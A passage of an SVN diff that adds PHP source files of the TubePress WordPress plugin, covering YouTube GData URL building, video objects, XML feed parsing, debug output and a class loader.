+        $order     = $this->_tpom->get(org_tubepress_options_category_Display::ORDER_BY);
+        $mode      = $this->_tpom->get(org_tubepress_options_category_Gallery::MODE);
+        $embedOnly = $this->_tpom->get(org_tubepress_options_category_Feed::EMBEDDABLE_ONLY);
+        
+        /* start index of the videos */
+        $start = ($currentPage * $perPage) - $perPage + 1;
+        
+        $requestURL = new net_php_pear_Net_URL2($request);
+        $requestURL->setQueryVariable("v", 2);
+        $requestURL->setQueryVariable("start-index", $start);
+        $requestURL->setQueryVariable("max-results", $perPage);
+        
+        $requestURL->setQueryVariable("safeSearch", $filter);
+      
+        if ($order != "random") {
+            $requestURL->setQueryVariable("orderby", $order);
+        }
+        
+        /* YouTube API client ID and developer keys */
+        $requestURL->setQueryVariable("client", $this->_tpom->get(org_tubepress_options_category_Feed::CLIENT_KEY));
+        $requestURL->setQueryVariable("key", $this->_tpom->get(org_tubepress_options_category_Feed::DEV_KEY));
+
+        if ($embedOnly) {
+            $requestURL->setQueryVariable("format", "5");
+        }
+        
+        $request = $requestURL->getURL();
+    }
+    
+    public function buildSingleVideoUrl($id)
+    {
+        $requestURL = new net_php_pear_Net_URL2("http://gdata.youtube.com/feeds/api/videos");
+        $requestURL->setQueryVariable("q", $id);
+        $requestURL->setQueryVariable("max-results", 1);
+        
+           return $requestURL->getURL();
+    }
+    
+    public function setOptionsManager(org_tubepress_options_manager_OptionsManager $tpom)
+    { 
+        $this->_tpom = $tpom; 
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/url/UrlBuilder.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/url/UrlBuilder.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/url/UrlBuilder.class.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Builds URLs to send out to YouTube for gdata
+ *
+ */
+interface org_tubepress_url_UrlBuilder
+{
+    /**
+     * Builds a gdata request url for a list of videos
+     *
+     * @return string The gdata request URL for this gallery
+     */
+    public function buildGalleryUrl($currentPage);
+
+    /**
+     * Builds a gdata request url for a single video
+     *
+     * @param string $id The YouTube video ID to search for
+     */
+    public function buildSingleVideoUrl($id);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/util/Debug.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/util/Debug.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/util/Debug.class.php	(revision 44)
@@ -0,0 +1,81 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Performs various debugging functions
+ *
+ */
+class org_tubepress_util_Debug
+{
+    /**
+     * Executes the debugging. Amazing!
+     *
+     * @param org_tubepress_options_manager_OptionsManager $tpom The TubePress options manager
+     * @param org_tubepress_options_storage_StorageManager $tpsm The TubePress storage manager
+     * 
+     * @return void
+     */
+    public static final function execute(org_tubepress_ioc_IocService $iocContainer)
+    {
+        global $tubepress_base_url;
+    
+        /* load up the debug template */
+        $tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../../ui/gallery/html_templates");
+        if (!$tpl->loadTemplatefile("debug_blurb.tpl.html", true, true)) {
+           print "Could not load debug template!";
+           return;
+        }
+
+        $builder = $iocContainer->get(org_tubepress_ioc_IocService::URL_BUILDER);
+        $qss =  $iocContainer->get(org_tubepress_ioc_IocService::QUERY_STR);
+        $currentPage  = $qss->getPageNum($_GET);
+        $debugStuff = array("tubepress_base_url" => $tubepress_base_url,
+            "IOC" => print_r($iocContainer, true),
+            "YouTube connection test" => "Click <a href=\"" . $tubepress_base_url . 
+                "/classes/org/tubepress/gdata/retrieval/ConnectionTest.php\">" . 
+                "here</a> to view results",
+            "Request URL" => $builder->buildGalleryUrl($currentPage));
+        
+        foreach ($debugStuff as $key => $val) {
+            $tpl->setVariable("ELEMENT_TITLE", $key);
+            $tpl->setVariable("ELEMENT_VALUE", $val);
+            $tpl->parse("debugElement");
+        }
+        
+        $tpl->show();
+    }
+    
+    /**
+     * Determines if we are in debug mode
+     *
+     * @param org_tubepress_options_manager_OptionsManager $tpom The TubePress options manager
+     * 
+     * @return boolean True if we're in debug mode, false otherwise
+     */
+    public static final function areWeDebugging(org_tubepress_options_manager_OptionsManager $tpom)
+    {
+        $enabled = $tpom->get(org_tubepress_options_category_Advanced::DEBUG_ON);
+        return $enabled
+            && isset($_GET['tubepress_debug'])
+            && ($_GET['tubepress_debug'] == 'true');
+    }
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/util/StringUtils.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/util/StringUtils.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/util/StringUtils.class.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Some string utilities
+ *
+ */
+class org_tubepress_util_StringUtils
+{
+    /**
+     * Replaces the first occurence of a string by another string
+     *
+     * @param string $search  The haystack
+     * @param string $replace The replacement string
+     * @param string $str     The needle
+     * 
+     * @return string The haystack with the first needle replaced
+     *     by the replacement string
+     */
+    public function replaceFirst($search, $replace, $str)
+    {    
+        $l    = strlen($str);
+        $a    = strpos($str, $search);
+        $b    = $a + strlen($search);
+        $temp = substr($str, 0, $a) . $replace . substr($str, $b, ($l-$b));
+        return $temp;
+    }
+
+    //http://programming-oneliners.blogspot.com/2006/03/remove-blank-empty-lines-php-29.html
+    public function removeEmptyLines($string)
+    {
+        return preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $string);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/Video.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/Video.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/Video.class.php	(revision 44)
@@ -0,0 +1,397 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * A YouTube video that TubePress can pass around easily
+ */
+class org_tubepress_video_Video
+{
+    private $_author;
+    private $_category;
+    private $_description;
+    private $_displayable;
+    private $_id;
+    private $_rating;
+    private $_ratings;
+    private $_length;
+    private $_tags;
+    private $_thumbUrls;
+    private $_title;
+    private $_uploadTime;
+    private $_youTubeUrl;
+    private $_views;
+    
+    /**
+     * Get the video's author
+     * 
+     * @return string The YouTube username of the person that uploaded
+     *                 the video.
+     * 
+     * Example: "3hough"
+     */
+    public function getAuthor()
+    {
+        return $this->_author; 
+    }
+    
+    /**
+     * Get the video's category
+     * 
+     * @return string The YouTube-defined category of the video
+     * 
+     * Example: "Sports"
+     */
+    public function getCategory()
+    {    
+        return $this->_category; 
+    }
+    
+    /**
+     * Returns the "default" YouTube thumbnail URL for this video
+     *
+     * @return string the "default" thumbnail URL for this video
+     */
+    public function getDefaultThumbURL()
+    {
+        return "http://img.youtube.com/vi/" . $this->getId() . "/default.jpg";
+    }    
+    
+    /**
+     * Get the video's description
+     * 
+     * @return string The description field of the video.
+     * 
+     * Example: "This is a great video."
+     */
+    public function getDescription() 
+    { 
+        return $this->_description; 
+    }
+    
+    /**
+     * Returns true if this video can be displayed. False otherwise.
+     * 
+     * @return boolean Can the video be displayed.
+     */
+    public function isDisplayable()
+    {
+        return $this->_displayable;
+    }
+    
+    /**
+     * Get the video's ID
+     * 
+     * @return string The YouTube video ID
+     * 
+     * Example: "3EVVD77X2FD"
+     */
+    public function getId()
+    {
+        return $this->_id; 
+    }
+    
+    /**
+     * Get the video's length
+     * 
+     * @return string The runtime of the video
+     * 
+     * Example: "3:25"
+     */
+    public function getLength() 
+    {      
+        return $this->_length; 
+    }    
+    
+    /**
+     * Get a random thumbnail URL for this video
+     *
+     * @return string A random thumbnail URL for this video
+     */
+    public function getRandomThumbURL()
+    {
+        $thumbs = $this->getThumbUrls();
+        return $thumbs[array_rand($this->getThumbUrls())];
+    }    
+    
+    /**
+     * Get the video's average rating
+     * 
+     * @return string The average rating of the video
+     * 
+     * Example: "4.3"
+     */
+    public function getRating() 
+    {
+        return $this->_rating; 
+    }
+    
+    /**
+     * Get the number of ratings
+     * 
+     * @return string The number of times this video has been rated.
+     * 
+     * Example: "3hough"
+     */
+    public function getRatings() 
+    {
+        return $this->_ratings; 
+    }
+    
+    /**
+     * Get the video's tags
+     * 
+     * @return array The tags of this video
+     * 
+     * Example: "beer sports women awesome"
+     */
+    public function getTags() 
+    {        
+        return $this->_tags; 
+    }
+    
+    /**
+     * Get the video's thumbnail URLs
+     * 
+     * @return string All of the video's thumbnail URLs
+     * 
+     * Example: "http://img.youtube.com/355VDRRJK8/default.jpg"
+     */
+    public function getThumbUrls() 
+    {   
+        return $this->_thumbUrls; 
+    }
+    
+    /**
+     * Get the video's title
+     * 
+     * @return string The title of the video
+     * 
+     * Example: "My Awesome Video"
+     */
+    public function getTitle() 
+    {       
+        return $this->_title; 
+    }
+    
+    /**
+     * Get the video's upload time
+     * 
+     * @return string The timestamp of when this video was uploaded
+     * 
+     * Example: "3hough"
+     */
+    public function getUploadTime() 
+    {  
+        return $this->_uploadTime; 
+    }
+    
+    /**
+     * Get the video's view count
+     * 
+     * @return string The number of times this video has been viewed
+     * 
+     * Example: "3hough"
+     */
+    public function getViews() 
+    {       
+        return $this->_views; 
+    }    
+    
+    /**
+     * Get the video's URL on YouTube
+     * 
+     * @return string The absolute URL of this video's home on YouTube
+     * 
+     * Example: "http://www.youtube.com/v/355VDRRJK8"
+     */
+    public function getYouTubeUrl() 
+    {  
+        return $this->_youTubeUrl; 
+    }
+    
+    /**
+     * Set this video's author
+     *
+     * @param string $author The YouTube author of this video
+     * 
+     * @return void
+     */
+    public function setAuthor($author) 
+    {
+        $this->_author = $author; 
+    }
+    
+    /**
+     * Set this video's category
+     *
+     * @param string $category The YouTube category of this video
+     * 
+     * @return void
+     */
+    public function setCategory($category) 
+    {         
+        $this->_category = $category; 
+    }
+    
+    /**
+     * Set the description for this video
+     *
+     * @param string $description The description for this video
+     * 
+     * @return void
+     */
+    public function setDescription($description) 
+    {   
+        $this->_description = $description; 
+    }
+    
+    /**
+     * Set whether or not this video can be displayed.
+     * 
+     * @param boolean If this video can be displayed
+     * 
+     * @return void
+     */
+    public function setDisplayable($displayable)
+    {
+        $this->_displayable = $displayable;
+    }
+    
+    /**
+     * Set the YouTube video ID of this video
+     *
+     * @param string $id The YouTube video ID of this video
+     * 
+     * @return void
+     */
+    public function setId($id) 
+    {          
+        $this->_id = $id; 
+    }
+    
+    /**
+     * Set the length of this video
+     *
+     * @param string $length The runtime of this video
+     * 
+     * @return void
+     */
+    public function setLength($length) 
+    {
+        $this->_length = $length; 
+    }    
+    
+    /**
+     * Set the average rating of this video
+     *
+     * @param string $rating The average rating of this video
+     * 
+     * @return void
+     */
+    public function setRating($rating)
+    {      
+        $this->_rating = $rating; 
+    }
+    
+    /**
+     * Set the number of ratings of this video
+     *
+     * @param string $ratings The bumber of times this video has been rated
+     * 
+     * @return void
+     */
+    public function setRatings($ratings)
+    { 
+        $this->_ratings = $ratings;  
+    }
+
+    /**
+     * Set the tags of this video
+     *
+     * @param array $tags The tags of this video
+     * 
+     * @return void
+     */
+    public function setTags($tags)
+    {
+        $this->_tags = $tags; 
+    }
+    
+    /**
+     * Set the thumbnail URLs of this video
+     *
+     * @param array $thumbUrls The thumbnail URLs of this video
+     * 
+     * @return void
+     */
+    public function setThumbUrls($thumbUrls) 
+    {
+        $this->_thumbUrls = $thumbUrls; 
+    }
+
+    /**
+     * Set the title of this video
+     *
+     * @param string $title The title of this video
+     * 
+     * @return void
+     */
+    public function setTitle($title) 
+    {               
+        $this->_title = $title; 
+    }
+    
+    /**
+     * Set the upload time of this video
+     *
+     * @param string $uploadTime The upload time of this video
+     * 
+     * @return void
+     */
+    public function setUploadTime($uploadTime) 
+    {     
+        $this->_uploadTime = $uploadTime; 
+    }
+    
+    /**
+     * Set the number of views of this video
+     *
+     * @param string $views The number of views for this video
+     * 
+     * @return void
+     */
+    public function setViews($views) 
+    {
+        $this->_views = $views; 
+    }    
+    
+    /**
+     * Set the YouTube URL of this video
+     *
+     * @param string $youTubeUrl The YouTube URL of this video
+     * 
+     * @return void
+     */
+    public function setYouTubeUrl($youTubeUrl) 
+    {
+        $this->_youTubeUrl = $youTubeUrl; 
+    }    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/factory/SimpleVideoFactory.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/factory/SimpleVideoFactory.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/factory/SimpleVideoFactory.class.php	(revision 44)
@@ -0,0 +1,361 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_video_factory_VideoFactory',
+    'org_tubepress_video_Video'));
+
+/**
+ * Simple implementation of org_tubepress_video_factory_VideoFactory
+ */
+class org_tubepress_video_factory_SimpleVideoFactory implements org_tubepress_video_factory_VideoFactory
+{
+    private $_mediaGroup;
+
+    /* shorthands for the namespaces */
+    const NS_APP   = 'http://www.w3.org/2007/app';
+    const NS_MEDIA = 'http://search.yahoo.com/mrss/';
+    const NS_YT    = 'http://gdata.youtube.com/schemas/2007';
+    const NS_GD    = 'http://schemas.google.com/g/2005';
+    
+    /**
+     * Main method
+     *
+     * @param DOMDocument $rss   The raw XML of what we got from YouTube
+     * @param int         $limit The maximum size of the array to return
+     * 
+     * @return array An array of TubePressVideos (may be empty)
+     */
+    public function dom2TubePressVideoArray(DOMDocument $rss, $limit)
+    {   
+        $results = array();
+        $entries = $rss->getElementsByTagName('entry');
+        
+        /* create a org_tubepress_video_Video out of each "entry" node */
+        for ($j = 0; $j < min($limit, $entries->length); $j++) {
+            $results[] = $this->_createVideo($entries->item($j));
+        }
+        return $results;
+    }
+
+    /**
+     * Creates a video from a single "entry" XML node
+     *
+     * @param DOMNode $entry The "entry" XML node
+     * 
+     * @return org_tubepress_video_Video The org_tubepress_video_Video representation of this node
+     */
+    private function _createVideo(DOMNode $entry)
+    {
+        $vid = new org_tubepress_video_Video();
+        
+        /* see if the video is actually available, not just a stub */
+        if ($this->_videoNotAvailable($entry)) {
+            $vid->setDisplayable(false);
+            return $vid;
+        }
+        $vid->setDisplayable(true);
+        
+        $this->_mediaGroup = 
+            $entry->getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_MEDIA, 
+                'group')->item(0);
+
+        /* everyone loves the builder pattern */
+        $vid->setAuthor($this->_getAuthor($entry));
+        $vid->setCategory($this->_getCategory($entry));
+        $vid->setDescription($this->_getDescription($entry));
+        $vid->setId($this->_getId($entry));
+        $vid->setLength($this->_getRuntime($entry));
+        $vid->setRating($this->_getRatingAverage($entry));
+        $vid->setRatings($this->_getRatingCount($entry));
+        $vid->setTags($this->_getTags($entry));
+        $vid->setThumbUrls($this->_getThumbUrls($entry));
+        $vid->setTitle($this->_getTitle($entry));
+        $vid->setUploadTime($this->_getUploadTime($entry));
+        $vid->setViews($this->_getViewCount($entry));
+        $vid->setYouTubeUrl($this->_getURL($entry));
+        return $vid;
+    }
+
+    /**
+     * Gets the YouTube author from the XML
+     *
+     * @param DOMElement $rss The "entry" XML element
+     * 
+     * @return string The YouTube author from the XML
+     */
+    private function _getAuthor(DOMElement $rss)
+    {
+        $authorNode = $rss->getElementsByTagName('author')->item(0);
+        return $authorNode->getElementsByTagName('name')->item(0)->nodeValue;
+    }
+    
+    /**
+     * Gets the YouTube category from the XML
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string The YouTube category from the XML
+     */
+    private function _getCategory(DOMElement $rss)
+    {
+        return trim($rss->
+            getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_MEDIA,
+                'category')->item(0)->nodeValue);
+    }
+    
+    /**
+     * Gets the video's description
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string The video's description
+     */
+    private function _getDescription(DOMElement $rss)
+    {
+        return trim($this->_mediaGroup->
+            getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_MEDIA,
+                'description')->item(0)->nodeValue);
+    }
+    
+    /**
+     * Gets the video's ID from XML
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string The video's ID from XML
+     */
+    private function _getId(DOMElement $rss)
+    { 
+        $thumb = 
+             $rss->getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_MEDIA,
+                 "thumbnail")->item(0);
+        $id    = $thumb->getAttribute("url");
+        $id    = substr($id, 0, strrpos($id, "/"));
+        $id    = substr($id, strrpos($id, "/") + 1);
+        return $id;
+    }
+    
+    /**
+     * Gets the average rating of the video
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string The average rating of the video
+     */
+    private function _getRatingAverage(DOMElement $rss)
+    { 
+        $count = $rss->getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_GD,
+            'rating')->item(0);
+        if ($count != null) {
+            return $count->getAttribute('average');
+        }
+        return "N/A";
+    }
+    
+    /**
+     * Gets the number of times this video has been rated
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string The number of times this video has been rated
+     */
+    private function _getRatingCount(DOMElement $rss)
+    { 
+        $count = $rss->getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_GD,
+            'rating')->item(0);
+        if ($count != null) {
+            return number_format($count->getAttribute('numRaters'));
+        }
+        return "0";
+    }
+    
+    /**
+     * Gets the runtime of this video
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string The runtime of this video
+     */
+    private function _getRuntime(DOMElement $rss)
+    { 
+        $duration = 
+            $this->_mediaGroup->
+                getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_YT,
+                    'duration')->item(0);
+        return 
+            org_tubepress_video_factory_SimpleVideoFactory::
+                _seconds2HumanTime($duration->getAttribute('seconds'));
+    }
+    
+    /**
+     * Gets the tags of this video (space separated)
+     *
+     * @param DOMElement $rss The "entry" XML element
+     * 
+     * @return string The tags of this video (space separated)
+     */
+    private function _getTags(DOMElement $rss)
+    { 
+        $rawKeywords = 
+            $this->_mediaGroup->
+                getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_MEDIA,
+                    'keywords')->item(0);
+        return split(", ", trim($rawKeywords->nodeValue));
+    }
+    
+    /**
+     * Gets this video's thumbnail URLs
+     *
+     * @param DOMElement $rss The "entry" XML element
+     * 
+     * @return array An array of this video's thumbnail URLs
+     */
+    private function _getThumbUrls(DOMElement $rss)
+    {
+        $results = array();
+        $thumbs  = 
+            $this->_mediaGroup->
+                getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_MEDIA, 
+                    'thumbnail');
+        for ($x = 0; $x < $thumbs->length; $x++) {
+            array_push($results, $thumbs->item($x)->getAttribute('url'));
+        }
+        return $results;
+    }
+    
+    /**
+     * Gets this video's title
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string Get this video's title
+     */
+    private function _getTitle(DOMElement $rss)
+    { 
+                $title = 
+            $rss->getElementsByTagName('title')->item(0)->nodeValue;
+        return htmlspecialchars($title, ENT_QUOTES);
+    }
+    
+    /**
+     * Get this video's upload timestamp
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string This video's upload timestamp
+     */
+    private function _getUploadTime(DOMElement $rss)
+    { 
+                $publishedNode = $rss->getElementsByTagName('published');
+        if ($publishedNode->length == 0) {
+            return "N/A";
+        }
+        $views = $publishedNode->item(0);
+        return org_tubepress_video_factory_SimpleVideoFactory::_rfc3339toHumanTime($views->nodeValue);
+    }
+    
+    /**
+     * Get this video's YouTube URL
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string This video's YouTube URL
+     */
+    private function _getURL(DOMElement $rss)
+    { 
+            $links = $rss->getElementsByTagName('link');
+        for ($x = 0; $x < $links->length; $x++) {
+            $link = $links->item($x);
+            if ($link->getAttribute('rel') != 'alternate') {
+                continue;
+            }
+            return $link->getAttribute('href');
+        }
+    }
+    
+    /**
+     * Get the number of times this video has been viewed
+     * 
+     * @param DOMElement $rss The "entry" XML element
+     *
+     * @return string The number of times this video has been viewed
+     */
+    private function _getViewCount(DOMElement $rss) 
+    { 
+        $stats = $rss->getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_YT,
+            'statistics')->item(0);
+        if ($stats != null) {
+            return number_format($stats->getAttribute('viewCount'));
+        } else {
+            return "N/A";
+        }
+    }
+  
+    /**
+     * Converts gdata timestamps to human readable
+     * 
+     * @param string $rfc3339 The RFC 3339 format of time
+     * 
+     * @return string Human time format
+     */
+    private static function _rfc3339toHumanTime($rfc3339)
+    {
+        $tmp = str_replace("T", " ", $rfc3339);
+        $tmp = ereg_replace("(\.[0-9]{1,})?", "", $tmp);
+
+        $datetime = substr($tmp, 0, 19);
+        $timezone = str_replace(":", "", substr($tmp, 19, 6));
+        return strtotime($datetime . " " . $timezone);
+    }
+
+    /**
+     * Converts seconds to minutes and seconds
+     * 
+     * @param string $length_seconds The runtime of a video, in seconds
+     * 
+     * @return string Human time format
+     */
+    private static function _seconds2HumanTime($length_seconds)
+    {
+        $seconds         = $length_seconds;
+        $length          = intval($seconds / 60);
+        $leftOverSeconds = $seconds % 60;
+        if ($leftOverSeconds < 10) {
+            $leftOverSeconds = "0" . $leftOverSeconds;
+        }
+        $length .= ":" . $leftOverSeconds;
+        return $length;
+    }
+    
+    private function _videoNotAvailable(DOMNode $entry)
+    {
+        $control = $entry->getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_APP, 'control');
+        if ($control->length > 0) {
+            $state = $control->item(0)->getElementsByTagNameNS(org_tubepress_video_factory_SimpleVideoFactory::NS_YT, 'state');
+            if ($state->length > 0) {
+                return true;
+            }
+        }
+        return false;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/factory/VideoFactory.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/factory/VideoFactory.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/video/factory/VideoFactory.class.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Takes a DOMDocument from YouTube and spits back a org_tubepress_video_Video
+ */
+interface org_tubepress_video_factory_VideoFactory
+{
+    /**
+     * Main method
+     *
+     * @param DOMElement $rss   The raw XML of what we got from YouTube
+     * @param int        $limit The max number of videos to return
+     * 
+     * @return org_tubepress_video_Video A org_tubepress_video_Video representing this video
+     */
+    public function dom2TubePressVideoArray(DOMDocument $rss, $limit);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/tubepress_classloader.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/tubepress_classloader.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/tubepress_classloader.php	(revision 44)
@@ -0,0 +1,69 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function tubepress_load_classes($classesToLoad) {
+    foreach ($classesToLoad as $class) {
+        tubepress_classloader($class);
+    }
+}
+
+/**
+ * Attempts to load a class file based on the class name
+ *
+ * @param string $className The name of the class to load
+ * 
+ * @return void
+ */
+function tubepress_classloader($className)
+{
+    /* already have the class or interface? bail */
+    if (class_exists($className, false) || interface_exists($className, false)) {
+        return;
+    }
+    
+    /*
+     * replace all underscores with the directory separator and add ".class.php"
+     * e.g. "org_tubepress_package_MyClass" becomes "org/tubepress/package/MyClass.class.php"
+     */
+    $fileName = str_replace('_', DIRECTORY_SEPARATOR, $className) . '.class.php';
+    
+    /* piece together the absolute file name */
+    $currentDir = dirname(__FILE__) . "/../classes/";
+    $absPath = $currentDir . $fileName;
+    
+    /* include the file if it exists */
+    if (file_exists($absPath)) {
+        include $absPath;    
+    }
+}
+
+///*
+// * register it as a class loader if PHP >= 5.1.2, otherwise
+// * we just have to register it as *the* classloader (bad!)
+// */
+//if (version_compare(PHP_VERSION, '5.1.2', '>=')) {
+//	spl_autoload_register("tubepress_classloader");
+//} else {
+//	function __autoload($className) {
+//		return tubepress_classloader($className);
+//	}
+//}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/db_nuke.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/db_nuke.php	(revision 44)
